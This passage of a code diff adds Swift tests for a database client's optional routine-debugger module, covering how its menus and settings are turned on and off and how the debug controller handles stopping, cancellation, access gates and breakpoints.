AppModuleSettings { + let settings = AppModuleSettings(defaults: suite.defaults, notificationCenter: NotificationCenter()) + settings.setEnabled(on, for: .routineDebugger) + return settings + } + + private func flatten(_ menu: NSMenu) -> [NSMenuItem] { + menu.items.flatMap { item -> [NSMenuItem] in + guard let submenu = item.submenu else { return [item] } + return [item] + flatten(submenu) + } + } + + private func debugItems(in bar: NSMenu) -> [NSMenuItem] { + let identifiers = Set(Self.debugActions.map { MenuItemFactory.identifier(for: $0) }) + return flatten(bar).filter { item in + if let action = item.action, MainSplitViewController.routineDebugSelectors.contains(action) { return true } + if let identifier = item.identifier, identifiers.contains(identifier) { return true } + return item.identifier == DebugMenuBuilder.identifier || item.title == DebugMenuBuilder.title + } + } + + private func routineMenu(canDebug: Bool) -> [DatabaseTreeMenuSection] { + var context = DatabaseTreeMenuSpecTests().context(clicked: .routine(Self.routine)) + context.canDebugRoutine = canDebug + return DatabaseTreeMenuSpec.sections(for: context) + } + + private func titles(_ sections: [DatabaseTreeMenuSection]) -> [String] { + sections.flatMap { $0.items }.compactMap { item in + guard case .command(let entry) = item else { return nil } + return entry.title + } + } + + private func keyboardRows(_ enabled: Set) -> [ShortcutAction] { + ShortcutCategory.allCases.flatMap { ShortcutAction.settingsRows(in: $0, enabledModules: enabled) } + } + + // MARK: - Off + + @Test("Off: the built menu bar has no Debug menu, no debug command and no debug key equivalent") + func offLeavesNoMenu() throws { + let suite = try EphemeralDefaults() + let settings = modules(on: false, in: suite) + let bar = MainMenuBuilder.build(keyboard: KeyboardSettings(), modules: settings.enabledModules).bar + + let leftovers = debugItems(in: bar).map { $0.title } + #expect(leftovers.isEmpty, "Debug items in the menu bar with the module off: \(leftovers)") + + let debugKeys = Set(Self.debugActions.compactMap { KeyboardSettings().menuKeyEquivalent(for: $0) } + .map { "\($0.modifiers.rawValue)-\($0.characters)" }) + let claimed = flatten(bar) + .filter { !$0.keyEquivalent.isEmpty } + .map { "\($0.keyEquivalentModifierMask.rawValue)-\($0.keyEquivalent)" } + .filter { debugKeys.contains($0) } + #expect(claimed.isEmpty, "A debug default still reaches the menu bar: \(claimed)") + } + + @Test("Off: a routine row offers no Debug… and the debugger is never asked") + func offLeavesNoSidebarItem() throws { + let suite = try EphemeralDefaults() + let settings = modules(on: false, in: suite) + var asked = 0 + let canDebug = DatabaseTreeMenuContext.canDebugRoutine(.routine(Self.routine), modules: settings) { _ in + asked += 1 + return Self.target + } + let sections = routineMenu(canDebug: canDebug) + let issued = DatabaseTreeMenuSpecTests().commands(sections) + + #expect(!canDebug) + #expect(asked == 0) + #expect(!issued.contains(.debugRoutine(Self.routine))) + #expect(!titles(sections).contains(String(localized: "Debug…"))) + } + + @Test("Off: Settings > Keyboard lists no debug row and no Debug section") + func offLeavesNoKeyboardRows() throws { + let suite = try EphemeralDefaults() + let settings = modules(on: false, in: suite) + let rows = keyboardRows(settings.enabledModules) + + for action in Self.debugActions { + #expect(!rows.contains(action), "\(action.rawValue)") + } + #expect(ShortcutAction.settingsRows(in: .debug, enabledModules: settings.enabledModules).isEmpty) + } + + @Test("Off: recording a debug default for another command names no hidden debug command") + func offDebugDefaultsClaimNothing() throws { + let suite = try EphemeralDefaults() + let settings = modules(on: false, in: suite) + let keyboard = KeyboardSettings() + + for action in Self.debugActions { + guard let key = KeyboardSettings.defaultShortcuts[action] else { continue } + #expect( + keyboard.findConflict(for: key, excluding: .refresh, enabledModules: settings.enabledModules) == nil, + "\(key.displayString) is reported against \(action.rawValue)" + ) + } + } + + // Read from the host's own defaults, which no test turns the module on in. + @Test("Off: a debug binding the user reassigned earlier stands no other command down") + func offDebugOverrideClaimsNothing() throws { + try #require(!AppModule.storedEnabledModules().contains(.routineDebugger)) + let refresh = try #require(KeyboardSettings.defaultShortcuts[.refresh]) + let keyboard = KeyboardSettings(shortcuts: [ShortcutAction.debugStepOver.rawValue: refresh]) + + #expect(keyboard.shortcut(for: .refresh) == refresh) + } + + // The coordinator reads the host's own module state, which no test turns on. + @Test("Off: no path opens a debug tab or a debug session") + func offOpensNoDebugTab() throws { + try #require(!AppModuleSettings.shared.isEnabled(.routineDebugger)) + let fixture = CoordinatorFixture() + let coordinator = fixture.coordinator + + #expect(coordinator.routineDebugTarget(for: Self.routine.routine) == nil) + #expect(!coordinator.canChooseRoutineToDebug()) + coordinator.debugRoutine(Self.routine.routine) + coordinator.chooseRoutineToDebug() + + #expect(fixture.tabManager.tabs.isEmpty) + #expect(coordinator.frontRoutineDebugController == nil) + #expect(!RoutineDebugSessions.shared.hasActiveSessions) + } + + // MARK: - On + + @Test("On: the Debug menu sits after Query and before Window") + func onAddsTheMenu() throws { + let suite = try EphemeralDefaults() + let settings = modules(on: true, in: suite) + let titles = MainMenuBuilder.build(keyboard: KeyboardSettings(), modules: settings.enabledModules).bar + .items.map { $0.title } + + let query = try #require(titles.firstIndex(of: String(localized: "Query"))) + let debug = try #require(titles.firstIndex(of: DebugMenuBuilder.title)) + let window = try #require(titles.firstIndex(of: String(localized: "Window"))) + #expect(debug == query + 1) + #expect(window == debug + 1) + } + + @Test("On: a routine the driver can debug offers Debug…") + func onAddsTheSidebarItem() throws { + let suite = try EphemeralDefaults() + let settings = modules(on: true, in: suite) + let canDebug = DatabaseTreeMenuContext.canDebugRoutine(.routine(Self.routine), modules: settings) { _ in + Self.target + } + let sections = routineMenu(canDebug: canDebug) + + #expect(canDebug) + #expect(DatabaseTreeMenuSpecTests().commands(sections).contains(.debugRoutine(Self.routine))) + #expect(titles(sections).contains(String(localized: "Debug…"))) + } + + @Test("On: Settings > Keyboard lists the debug rows under Debug") + func onAddsKeyboardRows() throws { + let suite = try EphemeralDefaults() + let settings = modules(on: true, in: suite) + + #expect(ShortcutAction.settingsRows(in: .debug, enabledModules: settings.enabledModules) == Self.debugActions) + let rows = keyboardRows(settings.enabledModules) + for action in Self.debugActions { + #expect(rows.contains(action), "\(action.rawValue)") + } + } + + @Test("On: a debug default is reported against its command when recorded for another") + func onDebugDefaultsAreClaimed() throws { + let suite = try EphemeralDefaults() + let settings = modules(on: true, in: suite) + let stepOver = try #require(KeyboardSettings.defaultShortcuts[.debugStepOver]) + + #expect( + KeyboardSettings().findConflict(for: stepOver, excluding: .refresh, enabledModules: settings.enabledModules) + == .debugStepOver + ) + } + + // MARK: - Switching + + @Test("Switching the module adds and removes the Debug menu in the installed bar at once") + func switchingEditsTheInstalledBar() throws { + let built = MainMenuBuilder.build(keyboard: KeyboardSettings(), modules: []) + let offTitles = built.bar.items.map { $0.title } + + MainMenuBuilder.applyModules([.routineDebugger], keyboard: KeyboardSettings(), to: built.bar, windowsMenu: built.windowsMenu) + MainMenuBuilder.applyModules([.routineDebugger], keyboard: KeyboardSettings(), to: built.bar, windowsMenu: built.windowsMenu) + let onTitles = built.bar.items.map { $0.title } + let onBuilt = MainMenuBuilder.build(keyboard: KeyboardSettings(), modules: [.routineDebugger]).bar.items.map { $0.title } + #expect(onTitles == onBuilt) + #expect(built.bar.items.filter { $0.identifier == DebugMenuBuilder.identifier }.count == 1) + + MainMenuBuilder.applyModules([], keyboard: KeyboardSettings(), to: built.bar, windowsMenu: built.windowsMenu) + #expect(built.bar.items.map { $0.title } == offTitles) + #expect(debugItems(in: built.bar).isEmpty) + } +} diff --git a/apple/TableProTests/Core/Modules/AppModuleSettingsTests.swift b/apple/TableProTests/Core/Modules/AppModuleSettingsTests.swift new file mode 100644 index 0000000000..9ba525bbbd --- /dev/null +++ b/apple/TableProTests/Core/Modules/AppModuleSettingsTests.swift @@ -0,0 +1,107 @@ +import Foundation +@testable import TablePro +import Testing + +@MainActor +struct AppModuleSettingsTests { + @Test("Every module starts off on a Mac that never turned it on") + func modulesStartOff() throws { + let suite = try EphemeralDefaults() + let settings = AppModuleSettings(defaults: suite.defaults, notificationCenter: NotificationCenter()) + + for module in AppModule.allCases { + #expect(module.defaultEnabled == false, "\(module.rawValue)") + #expect(!settings.isEnabled(module), "\(module.rawValue)") + } + #expect(settings.enabledModules.isEmpty) + } + + @Test("Turning a module on is stored in the defaults suite and read back by a new instance") + func stateSurvivesRelaunch() throws { + let suite = try EphemeralDefaults() + let settings = AppModuleSettings(defaults: suite.defaults, notificationCenter: NotificationCenter()) + + settings.setEnabled(true, for: .routineDebugger) + + #expect(suite.defaults.object(forKey: AppModule.routineDebugger.defaultsKey) as? Bool == true) + let relaunched = AppModuleSettings(defaults: suite.defaults, notificationCenter: NotificationCenter()) + #expect(relaunched.isEnabled(.routineDebugger)) + #expect(AppModule.enabledModules(in: suite.defaults) == [.routineDebugger]) + + settings.setEnabled(false, for: .routineDebugger) + #expect(!AppModuleSettings(defaults: suite.defaults, notificationCenter: NotificationCenter()) + .isEnabled(.routineDebugger)) + } + + @Test("Reset All Settings turns every module back to its default") + func resetRestoresDefaults() throws { + let suite = try EphemeralDefaults() + let settings = AppModuleSettings(defaults: suite.defaults, notificationCenter: NotificationCenter()) + settings.setEnabled(true, for: .routineDebugger) + + AppModuleActivation.resetToDefaults(settings: settings) + + for module in AppModule.allCases { + #expect(settings.isEnabled(module) == module.defaultEnabled, "\(module.rawValue)") + } + } + + @Test("The change notification names the module and arrives after the new state is stored") + func notificationFollowsTheStore() throws { + let suite = try EphemeralDefaults() + let center = NotificationCenter() + let settings = AppModuleSettings(defaults: suite.defaults, notificationCenter: center) + let defaults = suite.defaults + var received: [(module: AppModule?, storedEnabled: Bool?)] = [] + let observer = center.addObserver(forName: .appModulesDidChange, object: nil, queue: nil) { note in + received.append(( + note.object as? AppModule, + defaults.object(forKey: AppModule.routineDebugger.defaultsKey) as? Bool + )) + } + defer { center.removeObserver(observer) } + + settings.setEnabled(true, for: .routineDebugger) + settings.setEnabled(false, for: .routineDebugger) + + let modules = received.map { $0.module } + let stored = received.map { $0.storedEnabled } + #expect(modules == [.routineDebugger, .routineDebugger]) + #expect(stored == [true, false]) + } + + @Test("Setting the state a module already has stores and posts nothing") + func unchangedStateIsSilent() throws { + let suite = try EphemeralDefaults() + let center = NotificationCenter() + let settings = AppModuleSettings(defaults: suite.defaults, notificationCenter: center) + var posts = 0 + let observer = center.addObserver(forName: .appModulesDidChange, object: nil, queue: nil) { _ in + posts += 1 + } + defer { center.removeObserver(observer) } + + settings.setEnabled(false, for: .routineDebugger) + + #expect(posts == 0) + #expect(suite.defaults.object(forKey: AppModule.routineDebugger.defaultsKey) == nil) + } + + @Test("The key is namespaced and per module") + func keysAreNamespaced() { + let keys = AppModule.allCases.map { $0.defaultsKey } + #expect(Set(keys).count == keys.count) + for key in keys { + #expect(key.hasPrefix("com.TablePro.modules."), "\(key)") + } + } + + @Test("Every module names itself and says what it does") + func modulesDescribeThemselves() { + for module in AppModule.allCases { + #expect(!module.title.isEmpty) + #expect(!module.summary.isEmpty) + } + #expect(AppModule.routineDebugger.rawValue == "routineDebugger") + } +} diff --git a/apple/TableProTests/Core/Modules/AppModuleTerminationTests.swift b/apple/TableProTests/Core/Modules/AppModuleTerminationTests.swift new file mode 100644 index 0000000000..2e7620e902 --- /dev/null +++ b/apple/TableProTests/Core/Modules/AppModuleTerminationTests.swift @@ -0,0 +1,48 @@ +import Foundation +@testable import TablePro +import TableProTestSupport +import Testing + +@MainActor +private final class StopRecord { + var didStop = false +} + +@MainActor +struct AppModuleTerminationTests { + @Test("Quitting waits for a stop that finishes in time") + func stopInTimeIsAwaited() async { + let clock = ManualClock() + let record = StopRecord() + + let finished = await AppModuleTermination.runCapped(at: AppModuleTermination.stopLimit, clock: clock) { + record.didStop = true + } + + #expect(finished) + #expect(record.didStop) + } + + @Test("A stop that never returns holds the quit no longer than the limit") + func stuckStopIsAbandonedAtTheLimit() async { + let clock = ManualClock() + let stuck = AsyncGate() + let run = Task { @MainActor in + await AppModuleTermination.runCapped(at: .seconds(5), clock: clock) { + await stuck.wait() + } + } + + await stuck.arrived(1) + await clock.waitUntilSleeping() + clock.advance(by: .seconds(5)) + + #expect(await run.value == false) + await stuck.open() + } + + @Test("The quit limit is five seconds") + func limitIsFiveSeconds() { + #expect(AppModuleTermination.stopLimit == .seconds(5)) + } +} diff --git a/apple/TableProTests/Core/RoutineDebugging/RoutineDebugControllerTests.swift b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugControllerTests.swift new file mode 100644 index 0000000000..fcc15bd0a1 --- /dev/null +++ b/apple/TableProTests/Core/RoutineDebugging/RoutineDebugControllerTests.swift @@ -0,0 +1,820 @@ +// +// RoutineDebugControllerTests.swift +// TableProTests +// + +import Foundation +@testable import TablePro +import TableProPluginKit +import TableProTestSupport +import Testing + +@MainActor +struct RoutineDebugControllerTests { + @Test("The first stop pauses at the reported line and loads the source, stack and variables") + func firstStopPausesAndInspects() async throws { + let session = FakeDebugSession(firstStopLine: 2) + let (controller, _) = RoutineDebugFixtures.controller(session: session) + + controller.start() + try await waitUntil { controller.state.pausedLocation != nil && !controller.variables.isEmpty } + + #expect(controller.state.pausedLocation?.line == 2) + #expect(controller.executionLine == 2) + #expect(controller.displayedUnit == FakeDebugSession.unit) + #expect(controller.displayedSource == FakeDebugSession.source) + #expect(controller.frames.count == 1) + #expect(controller.variables.map { $0.name } == ["total", "note"]) + #expect(session.sourceReadCount == 1) + #expect(session.stackReadCount == 1) + #expect(session.variableReadLevels == [0]) + #expect(controller.statusText == String(format: String(localized: "Paused at line %d in %@"), 2, FakeDebugSession.unit.displayName)) + } + + @Test("Stop while paused ends the target once and closes every driver it took") + func stopWhilePaused() async throws { + let session = FakeDebugSession() + let drivers = DebugDriverLog() + let (controller, _) = RoutineDebugFixtures.controller(session: session, drivers: drivers) + controller.start() + try await waitUntil { controller.state.pausedLocation != nil } + + controller.stop() + controller.stop() + await controller.waitUntilEnded() + + #expect(session.stopCount == 1) + #expect(drivers.openedCount == 2) + #expect(drivers.closedCount == 2) + guard case .stopped = controller.state else { + Issue.record("expected stopped, got \(controller.state)") + return + } + #expect(controller.statusText == String(localized: "Stopped")) + #expect(!controller.canStop) + } + + @Test("Stop while a step runs ends the target once, and the step's late answer does not reopen it") + func stopWhileRunning() async throws { + let session = FakeDebugSession(performBlocksUntilStop: true) + let drivers = DebugDriverLog() + let (controller, _) = RoutineDebugFixtures.controller(session: session, drivers: drivers) + controller.start() + try await waitUntil { controller.state.pausedLocation != nil } + + controller.perform(.continueExecution) + try await waitUntil { session.performedCommands == [.continueExecution] } + controller.stop() + await controller.waitUntilEnded() + + #expect(session.stopCount == 1) + #expect(drivers.closedCount == drivers.openedCount) + guard case .stopped = controller.state else { + Issue.record("expected stopped, got \(controller.state)") + return + } + } + + @Test("Stop while the debugger is still starting cancels the start, closes its drivers and ends stopped") + func stopWhileStartingCancelsTheStart() async throws { + let session = FakeDebugSession() + let drivers = DebugDriverLog() + let (controller, debugger) = RoutineDebugFixtures.controller( + session: session, + drivers: drivers, + startBehavior: .untilCancelled + ) + controller.start() + try await waitUntil { drivers.openedCount == 2 } + + controller.stop() + try await waitUntil { controller.hasEnded } + + #expect(debugger.startWasCancelled) + #expect(drivers.closedCount == 2) + #expect(session.stopCount == 0) + guard case .stopped = controller.state else { + Issue.record("expected stopped, got \(controller.state)") + return + } + } + + @Test("A cancelled start that cannot confirm its target ended shows why") + func unconfirmedCancelledStartBecomesTheStatus() async throws { + let drivers = DebugDriverLog() + let (controller, debugger) = RoutineDebugFixtures.controller( + session: FakeDebugSession(), + drivers: drivers, + startBehavior: .untilCancelledThenThrowing(FakeDebugError(message: "Server process 4242 may still be running.")) + ) + controller.start() + try await waitUntil { drivers.openedCount == 2 } + + controller.stop() + try await waitUntil { controller.hasEnded } + + #expect(debugger.startWasCancelled) + #expect(controller.statusText == "Server process 4242 may still be running.") + } + + @Test("A step that finishes as the stop arrives says the routine finished first") + func finishedAnswerToAStopBecomesTheStatus() async throws { + let session = FakeDebugSession(performBlocksUntilStop: true, stopAnswer: .finished(nil)) + let (controller, _) = RoutineDebugFixtures.controller(session: session) + controller.start() + try await waitUntil { controller.state.pausedLocation != nil } + + controller.perform(.continueExecution) + try await waitUntil { session.performedCommands == [.continueExecution] } + controller.stop() + try await waitUntil { controller.hasEnded && controller.statusText != String(localized: "Stopped") } + + #expect(controller.statusText == String(localized: "The routine finished before the stop reached it.")) + } + + @Test("A start that ignores its cancellation loses its drivers at the limit, and a late session is still ended") + func startIgnoringCancellationIsCapped() async throws { + let late = AsyncGate() + let session = FakeDebugSession() + let drivers = DebugDriverLog() + let (controller, _) = RoutineDebugFixtures.controller( + session: session, + drivers: drivers, + startBehavior: .ignoringCancellation(late), + cancelLimit: .milliseconds(50) + ) + controller.start() + try await waitUntil { drivers.openedCount == 2 } + + controller.stop() + try await waitUntil { controller.hasEnded } + #expect(drivers.closedCount == 2) + guard case .stopped = controller.state else { + Issue.record("expected stopped, got \(controller.state)") + return + } + #expect(controller.statusText == RoutineDebugController.stopNotConfirmed) + + await late.open() + try await waitUntil { session.stopCount == 1 } + } + + @Test("When the plugin answers a stop with its own words, the status says them instead of Stopped") + func stopAnswerBecomesTheStatus() async throws { + let session = FakeDebugSession( + performBlocksUntilStop: true, + stopAnswer: .failed(message: "The routine is still running on the server.", detail: nil) + ) + let (controller, _) = RoutineDebugFixtures.controller(session: session) + controller.start() + try await waitUntil { controller.state.pausedLocation != nil } + + controller.perform(.continueExecution) + try await waitUntil { session.performedCommands == [.continueExecution] } + controller.stop() + try await waitUntil { controller.hasEnded && controller.statusText != String(localized: "Stopped") } + + #expect(controller.statusText == "The routine is still running on the server.") + guard case .stopped = controller.state else { + Issue.record("expected stopped, got \(controller.state)") + return + } + } + + @Test("A stop the plugin cannot confirm shows its words, whether or not a step was waiting", arguments: [false, true]) + func unconfirmedStopBecomesTheStatus(stepWaiting: Bool) async throws { + let session = FakeDebugSession( + performBlocksUntilStop: stepWaiting, + stopAnswer: .failed(message: "Cancelled.", detail: nil), + stopOutcome: .unconfirmed(message: "Server process 4242 may still be running.", detail: "End it with pg_terminate_backend(4242).") + ) + let (controller, _) = RoutineDebugFixtures.controller(session: session) + controller.start() + try await waitUntil { controller.state.pausedLocation != nil && !controller.variables.isEmpty } + if stepWaiting { + controller.perform(.continueExecution) + try await waitUntil { session.performedCommands == [.continueExecution] } + } + + controller.stop() + try await waitUntil { controller.hasEnded } + + #expect(controller.statusText == "Server process 4242 may still be running.\nEnd it with pg_terminate_backend(4242).") + } + + @Test("A command is refused while a step runs") + func performRefusedWhileRunning() async throws { + let session = FakeDebugSession(performBlocksUntilStop: true) + let (controller, _) = RoutineDebugFixtures.controller(session: session) + controller.start() + try await waitUntil { controller.state.pausedLocation != nil } + + controller.perform(.stepOver) + #expect(!controller.canPerform(.stepOver)) + controller.perform(.stepOver) + controller.perform(.continueExecution) + try await waitUntil { !session.performedCommands.isEmpty } + + #expect(session.performedCommands == [.stepOver]) + controller.stop() + await controller.waitUntilEnded() + } + + @Test("A command the session does not support is never sent") + func unsupportedCommandIsRefused() async throws { + let session = FakeDebugSession(supportedCommands: [.continueExecution, .stepOver, .stepInto]) + let (controller, _) = RoutineDebugFixtures.controller(session: session) + controller.start() + try await waitUntil { controller.state.pausedLocation != nil } + + #expect(!controller.canPerform(.stepOut)) + controller.perform(.stepOut) + + #expect(session.performedCommands.isEmpty) + controller.stop() + await controller.waitUntilEnded() + } + + @Test("A stop that lands before the run begins asks nothing and opens nothing") + func stopBeforeTheRunBegins() async throws { + let gate = WaitingGate() + let drivers = DebugDriverLog() + let (controller, _) = RoutineDebugFixtures.controller(drivers: drivers, gate: gate) + controller.start() + controller.stop() + try await waitUntil { controller.hasEnded } + + #expect(gate.askedCount == 0) + #expect(drivers.openedCount == 0) + guard case .stopped = controller.state else { + Issue.record("expected stopped, got \(controller.state)") + return + } + } + + @Test("A step that fails with its target left running stops the session before its drivers close, and says so once") + func failedStepStopsTheSession() async throws { + let words = "Server process 4242 may still be running." + let session = FakeDebugSession( + stopOutcome: .unconfirmed(message: words, detail: nil), + performAnswer: .failed(message: words, detail: nil) + ) + let (controller, _) = RoutineDebugFixtures.controller(session: session) + controller.start() + try await waitUntil { controller.state.pausedLocation != nil } + + controller.perform(.continueExecution) + try await waitUntil { controller.hasEnded } + + #expect(session.stopCount == 1) + #expect(controller.unconfirmedStop == words) + #expect(controller.statusText == words) + } + + @Test("Stop while the gate is still asking withdraws its prompt and ends the run Stopped, opening nothing") + func stopWhileTheGateAsks() async throws { + let gate = WaitingGate() + let drivers = DebugDriverLog() + let (controller, debugger) = RoutineDebugFixtures.controller(drivers: drivers, gate: gate) + var cancelled = false + controller.onCancelled = { cancelled = true } + controller.start() + try await waitUntil { gate.askedCount == 1 } + + controller.stop() + try await waitUntil { controller.hasEnded } + + #expect(gate.sawCancellation) + #expect(!cancelled) + #expect(debugger.startRequests.isEmpty) + #expect(drivers.openedCount == 0) + guard case .stopped = controller.state else { + Issue.record("expected stopped, got \(controller.state)") + return + } + } + + @Test("A gate that cannot be withdrawn is not waited on past the limit, and its late yes starts nothing") + func gateIgnoringCancellationIsCapped() async throws { + let answer = AsyncGate() + let gate = WaitingGate(ignoringCancellationUntil: answer) + let drivers = DebugDriverLog() + let (controller, debugger) = RoutineDebugFixtures.controller( + drivers: drivers, + gate: gate, + cancelLimit: .milliseconds(50) + ) + controller.start() + try await waitUntil { gate.askedCount == 1 } + + controller.stop() + try await waitUntil { controller.hasEnded } + await answer.open() + + #expect(debugger.startRequests.isEmpty) + #expect(drivers.openedCount == 0) + guard case .stopped = controller.state else { + Issue.record("expected stopped, got \(controller.state)") + return + } + } + + @Test("A plan that may write is denied by a read-only gate, and no session opens") + func readOnlyGateDeniesWritingPlan() async throws { + let drivers = DebugDriverLog() + let (controller, debugger) = RoutineDebugFixtures.controller( + drivers: drivers, + plan: RoutineDebugFixtures.plan(mayWrite: true), + gate: AlwaysDenyGate(reason: "Read-Only connection") + ) + + controller.start() + await controller.waitUntilEnded() + + guard case .failed(let message) = controller.state else { + Issue.record("expected failed, got \(controller.state)") + return + } + #expect(message == "Read-Only connection") + #expect(debugger.startRequests.isEmpty) + #expect(drivers.openedCount == 0) + } + + @Test("The run asks the gate as a write when the plan may write, and as a read otherwise") + func gateKindFollowsThePlan() async throws { + let writing = RecordingGate() + let (writer, _) = RoutineDebugFixtures.controller(plan: RoutineDebugFixtures.plan(mayWrite: true), gate: writing) + writer.start() + try await waitUntil { writer.state.pausedLocation != nil } + let reading = RecordingGate() + let (reader, _) = RoutineDebugFixtures.controller(plan: RoutineDebugFixtures.plan(mayWrite: false), gate: reading) + reader.start() + try await waitUntil { reader.state.pausedLocation != nil } + + #expect(writing.requests.map { $0.kind } == [.writeQuery]) + #expect(reading.requests.map { $0.kind } == [.readQuery]) + #expect(writing.requests.first?.caller == .userInterface) + #expect(writing.requests.first?.operationDescription == String(localized: "Debug Routine")) + writer.stop() + reader.stop() + await writer.waitUntilEnded() + await reader.waitUntilEnded() + } + + @Test("A preparation runs on a driver of its own, after the user confirms, through the gate as DDL") + func preparationRunsOnItsOwnDriver() async throws { + let drivers = DebugDriverLog() + let gate = RecordingGate() + let preparation = PluginDebugPreparation( + message: "Compile for debugging?", + informativeText: nil, + actionTitle: "Compile for Debug", + statements: ["ALTER PACKAGE p COMPILE BODY"] + ) + let (controller, _) = RoutineDebugFixtures.controller( + drivers: drivers, + plan: RoutineDebugFixtures.plan(preparation: preparation), + gate: gate + ) + + controller.start() + try await waitUntil { controller.state.pausedLocation != nil } + + #expect(gate.requests.map { $0.kind } == [.readQuery, .schemaMutation]) + #expect(gate.requests.last?.sql == "ALTER PACKAGE p COMPILE BODY") + #expect(drivers.openedCount == 3) + #expect(drivers.closedCount == 1) + controller.stop() + await controller.waitUntilEnded() + #expect(drivers.closedCount == 3) + } + + @Test("Stop while the preparation statement runs cancels it, closes its driver, and the session never starts") + func stopDuringPreparationStatement() async throws { + let drivers = DebugDriverLog(statements: .untilCancelled) + let (controller, debugger) = RoutineDebugFixtures.controller( + drivers: drivers, + plan: RoutineDebugFixtures.plan(preparation: Self.compile) + ) + controller.start() + try await waitUntil { drivers.executedCount == 1 } + + controller.stop() + try await waitUntil { controller.hasEnded } + + #expect(drivers.closedCount == 1) + #expect(debugger.startRequests.isEmpty) + guard case .stopped = controller.state else { + Issue.record("expected stopped, got \(controller.state)") + return + } + } + + @Test("A preparation statement that ignores Stop is abandoned at the limit with its connection closed") + func preparationStatementAbandonedAtTheLimit() async throws { + let statement = AsyncGate() + let drivers = DebugDriverLog(statements: .untilOpened(statement)) + let (controller, debugger) = RoutineDebugFixtures.controller( + drivers: drivers, + plan: RoutineDebugFixtures.plan(preparation: Self.compile), + cancelLimit: .milliseconds(50) + ) + controller.start() + try await waitUntil { drivers.executedCount == 1 } + + controller.stop() + try await waitUntil { controller.hasEnded } + #expect(drivers.closedCount == 1) + guard case .stopped = controller.state else { + Issue.record("expected stopped, got \(controller.state)") + return + } + + await statement.open() + #expect(debugger.startRequests.isEmpty) + #expect(drivers.closedCount == 1) + #expect(drivers.openedCount == 1) + } + + private static let compile = PluginDebugPreparation( + message: "Compile for debugging?", + informativeText: nil, + actionTitle: "Compile for Debug", + statements: ["ALTER PACKAGE p COMPILE BODY"] + ) + + @Test("Declining the preparation starts nothing and asks for the tab to close") + func declinedPreparationCancels() async throws { + let drivers = DebugDriverLog() + let preparation = PluginDebugPreparation(message: "m", informativeText: nil, actionTitle: "Compile", statements: ["X"]) + let (controller, debugger) = RoutineDebugFixtures.controller( + drivers: drivers, + plan: RoutineDebugFixtures.plan(preparation: preparation), + confirmPreparation: { _ in false } + ) + var cancelled = false + controller.onCancelled = { cancelled = true } + + controller.start() + await controller.waitUntilEnded() + + #expect(cancelled) + #expect(debugger.startRequests.isEmpty) + #expect(drivers.openedCount == 0) + } + + @Test("A breakpoint set while running waits for the next pause, then shows where the engine placed it") + func breakpointWhileRunningAppliesAtNextPause() async throws { + let step = AsyncGate() + let session = FakeDebugSession(firstStopLine: 2, placesBreakpoint: { $0 + 1 }, stepGate: step) + let (controller, _) = RoutineDebugFixtures.controller(session: session) + controller.start() + try await waitUntil { controller.state.pausedLocation?.line == 2 && !controller.variables.isEmpty } + + controller.perform(.stepOver) + await step.arrived(1) + controller.toggleBreakpoint(atLine: 3) + controller.toggleBreakpoint(atLine: 1) + controller.toggleBreakpoint(atLine: 1) + #expect(controller.displayedBreakpointLines == [3]) + #expect(session.placedBreakpointRequests.isEmpty) + await step.open() + try await waitUntil { controller.displayedBreakpointLines == [4] } + + #expect(session.placedBreakpointRequests == [PluginDebugBreakpoint(unitIdentity: FakeDebugSession.unit.identity, line: 3)]) + #expect(session.overlappingCallCount == 0) + controller.stop() + await controller.waitUntilEnded() + } + + @Test("A step waits for the pause's reads to finish, so no session call overlaps another") + func callsNeverOverlap() async throws { + let session = FakeDebugSession() + let (controller, _) = RoutineDebugFixtures.controller(session: session) + controller.start() + try await waitUntil { controller.state.pausedLocation != nil } + + controller.perform(.stepOver) + try await waitUntil { controller.state.pausedLocation?.line == 3 } + controller.toggleBreakpoint(atLine: 2) + controller.perform(.stepInto) + try await waitUntil { controller.state.pausedLocation?.line == 4 && !controller.variables.isEmpty } + + #expect(session.performedCommands == [.stepOver, .stepInto]) + #expect(session.overlappingCallCount == 0) + controller.stop() + await controller.waitUntilEnded() + } + + @Test("A breakpoint removed while its placement is in flight comes off the server, where the engine put it") + func removalDuringPlacementReachesTheServer() async throws { + let placing = AsyncGate() + let session = FakeDebugSession(placesBreakpoint: { $0 + 1 }, placeGate: placing) + let (controller, _) = RoutineDebugFixtures.controller(session: session) + controller.start() + try await waitUntil { controller.state.pausedLocation != nil && !controller.variables.isEmpty } + + controller.toggleBreakpoint(atLine: 3) + try await waitUntil { session.placedBreakpointRequests.count == 1 } + controller.toggleBreakpoint(atLine: 3) + #expect(controller.displayedBreakpointLines.isEmpty) + await placing.open() + try await waitUntil { !session.removedBreakpointRequests.isEmpty } + + #expect(session.removedBreakpointRequests == [PluginDebugBreakpoint(unitIdentity: FakeDebugSession.unit.identity, line: 4)]) + #expect(controller.displayedBreakpointLines.isEmpty) + #expect(!controller.hasBreakpoints) + controller.stop() + await controller.waitUntilEnded() + } + + @Test("Remove All while a placement is in flight also takes that breakpoint off the server") + func removeAllDuringPlacementReachesTheServer() async throws { + let placing = AsyncGate() + let session = FakeDebugSession(placeGate: placing) + let (controller, _) = RoutineDebugFixtures.controller(session: session) + controller.start() + try await waitUntil { controller.state.pausedLocation != nil && !controller.variables.isEmpty } + + controller.toggleBreakpoint(atLine: 3) + try await waitUntil { session.placedBreakpointRequests.count == 1 } + controller.removeAllBreakpoints() + await placing.open() + try await waitUntil { !session.removedBreakpointRequests.isEmpty } + + #expect(session.removedBreakpointRequests == [PluginDebugBreakpoint(unitIdentity: FakeDebugSession.unit.identity, line: 3)]) + #expect(!controller.hasBreakpoints) + controller.stop() + await controller.waitUntilEnded() + } + + @Test("A breakpoint changed while the pause is still loading reaches the session before Continue does") + func breakpointBeforeContinueWhileInspecting() async throws { + let reads = AsyncGate() + let session = FakeDebugSession(inspectGate: reads) + let (controller, _) = RoutineDebugFixtures.controller(session: session) + controller.start() + try await waitUntil { session.sourceReadCount == 1 } + + controller.toggleBreakpoint(atLine: 3) + controller.perform(.continueExecution) + await reads.open() + try await waitUntil { session.performedCommands == [.continueExecution] } + + #expect(Array(session.callLog.prefix(2)) == ["set 3", "perform continueExecution"]) + #expect(session.overlappingCallCount == 0) + controller.stop() + try await waitUntil { controller.hasEnded } + } + + @Test("Stopping while the preparation question is up withdraws it and leaves the tab to show Stopped") + func stopWithdrawsThePreparationQuestion() async throws { + let answer = AsyncGate() + let preparation = PluginDebugPreparation(message: "m", informativeText: nil, actionTitle: "Compile", statements: ["X"]) + let drivers = DebugDriverLog() + var asked = false + let (controller, debugger) = 